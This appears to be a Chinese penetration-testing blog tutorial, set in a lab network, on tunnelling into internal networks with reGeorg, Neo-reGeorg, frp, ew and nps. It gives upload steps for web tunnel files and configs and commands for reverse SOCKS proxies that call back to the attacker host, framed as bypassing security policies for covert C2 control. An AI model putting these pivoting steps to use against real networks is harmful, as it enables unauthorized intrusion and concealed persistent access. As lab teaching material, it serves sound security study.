内网穿透隐秘隧道搭建

VSole2021-09-09 15:53:01

0x00 前言

构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。

当我们从外网成功获得攻击点的时候,通过反弹shell、端口转发、内网穿透等技巧,来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限,通过隧道技术绕过网络限制,实现隐蔽C2服务器的通信。

网络拓扑:

网络配置IP如下:

攻击机:
win10:192.168.1.6
kali:192.168.1.7
靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.1.5
VM2:域成员,2003
192.168.52.141
VM3:域控,2008
192.168.52.138

0x01 reGeorge

1.1 环境

攻击机kali

reGeorge软件,下载:https://github.com/sensepost/reGeorg

运行程序需要的环境:

Python、pip、urllib3;

1.2 部署配置

上传tunnel.nosocket.php

前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站


并访问http://192.168.1.5/tunnel.nosocket.php

访问成功

启动reGeorg

python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php

表示本地1090端口的流量都转发给指定的那个url,1090是指定的监听端口;

配置代理

然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1090端口:socks5 127.0.0.1 1090

1.3 测试

命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)

proxychains curl http://192.168.52.143

reGeorg控制端

0x02 Neo-reGeorg

1.1 使用

设置密码并生成隧道文件,运行后会生成一个neoreg_server目录,里面包含了各种语言类型的隧道文件

$ python3 neoreg.py generate -k 
[+] Create neoreg server files:
    => neoreg_server/key.txt. # 密码
    => neoreg_server/tunnel.nosocket.php
    => neoreg_server/tunnel.js
    => neoreg_server/tunnel.php
    => neoreg_server/tunnel.ashx
    => neoreg_server/tunnel.aspx
    => neoreg_server/tunnel.tomcat.5.jsp
    => neoreg_server/tunnel.tomcat.5.jspx
    => neoreg_server/tunnel.jsp
    => neoreg_server/tunnel.jspx

python3 neoreg.py generate -k jdxyxd

1.2 部署配置

上传tunnel.php

前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.php上传至网站

并访问http://192.168.1.5/tunnel.php

访问成功

启动Neo-reGeorg

python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;

配置代理

然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1080端口:socks5 127.0.0.1 1080

1.3 测试

命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)

proxychains curl http://192.168.52.143

0x03 frp

软件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64

代理工具Proxifier(windows下通常用可视化的proxifier、SocksCap64,Linux在proxychains设置)

1.1 攻击机为windows环境

frp的Socks5反向代理:

(HTTP反向代理修改plugin模块和proxifier代理类型即可)

攻击机-服务端:

设置frps.ini

[common] 
bind_port = 7000

然后运行

frps.exe -c frps.ini

跳板机-客户端:server_addr为攻击机IP

设置frpc.ini

[common] 
server_addr = 192.168.1.6
server_port = 7000 
[socks5] 
type = tcp 
remote_port = 8010 
plugin = socks5

然后运行

frpc.exe -c frpc.ini

SwitchyOmega配置

浏览器访问192.168.52.143 访问成功

proxifier配置

浏览器访问192.168.52.143 访问成功

0x04 ew

1.1 攻击机为kali环境

ew正向代理

1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)

ew_for_win_32.exe -s ssocksd -l 1090

这里还需要修改proxychains.conf配置文件

$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

测试执行:

proxychains curl http://192.168.52.143/

ew反向代理

服务端-攻击机kali

执行:

./ew_for_linux -s rcsocks -l 1080 -e 1024

客户端-跳板机

执行

ew.exe -s rssocks -d 192.168.1.7 -e 1024

配置proxychains代理链

在配置文件/etc/proxychains.conf,

将代理设置成本机的1080端口(root用户修改):

测试执行:

proxychains curl http://192.168.52.143/

0x05 NPS隐秘隧道搭建

1)建立连接

此场景攻击机使用Kali,在攻击机运行命令“./nps install”安装服务端,如图7-81所示。

运行命令“nps start”启动服务端,如图7-82所示。

通过8080端口访问服务端的Web界面,如图所示。

http://192.168.1.7:8080

输入默认用户名、密码admin、123登录,登录后可以看到默认客户端连接端口为8024,登录后的Web界面如图所示。

添加客户端,如图所示,配置唯一验证密钥,验证密钥在从客户端连接到服务端时使用,此处配置为“any”,然后开启压缩和加密传输。

最后在边界主机运行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”来连接服务端,建立连接如图所示。

连接成功后在攻击机的Web界面可看到客户端上线,如图所示。

2)TCP隧道

客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道,例如,若想访问内网主机的3389端口,则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口,单击“新增”,配置目标“192.168.52.143:3389”,配置服务端口为“1111”,TCP隧道如图所示。

TCP隧道建立成功后,即可通过连接攻击机的1111端口来连接内网主机的远程桌面,在攻击机运行命令“rdesktop 192.168.1.7:1111”连接本地的1111端口,隧道的使用如图所示。

3)SOCKS5代理

若想搭建HTTP代理或SOCKS代理,只需选择对应模式,填写服务端端口即可,以SOCKS为例,选择模式为“SOCKS代理”,如图所示,服务端端口为“1234”。

配置好SOCKS代理后,便可使用攻击机192.168.1.7的1234端口访问内网,配置代理服务器

访问内网主机站点http://192.168.52.143/

使用代理如图所示。

或者配置proxifier

访问内网主机站点http://192.168.52.143/

端口转发http代理
本作品采用《CC 协议》,转载必须注明作者和本文链接
隧道与端口转发
2021-11-18 08:26:13
如果想获得课程报名资格,请添加文末小助手微信咨询。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。情况1:目标禁止出站ip如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。情况2:禁止出站端口Linux系统使用Linux系统自带命令探测出网端口
内网渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内网主机IP. lp = local port / 本地端口 //一般为内网主机端口
reGeorg是reDuh的继承者,利用了会话层的socks5协议,主要功能是把内网服务器端口的数据通过的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。
本文以渗透的视角,总结几种个人常用的内网穿透,内网代理工具,介绍其简单原理和使用方法。nps-npc简介nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持 tcp、udp 流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
本文以渗透的视角,总结几种个人常用的内网穿透,内网代理工具,介绍其简单原理和使用方法。 1.1 简介 nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
0x00 前言本文以渗透的视角,总结几种个人常用的内网穿透,内网代理工具,介绍其简单原理和使用方法。0x01 nps-npc1.1 简介nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。
VSole
网络安全专家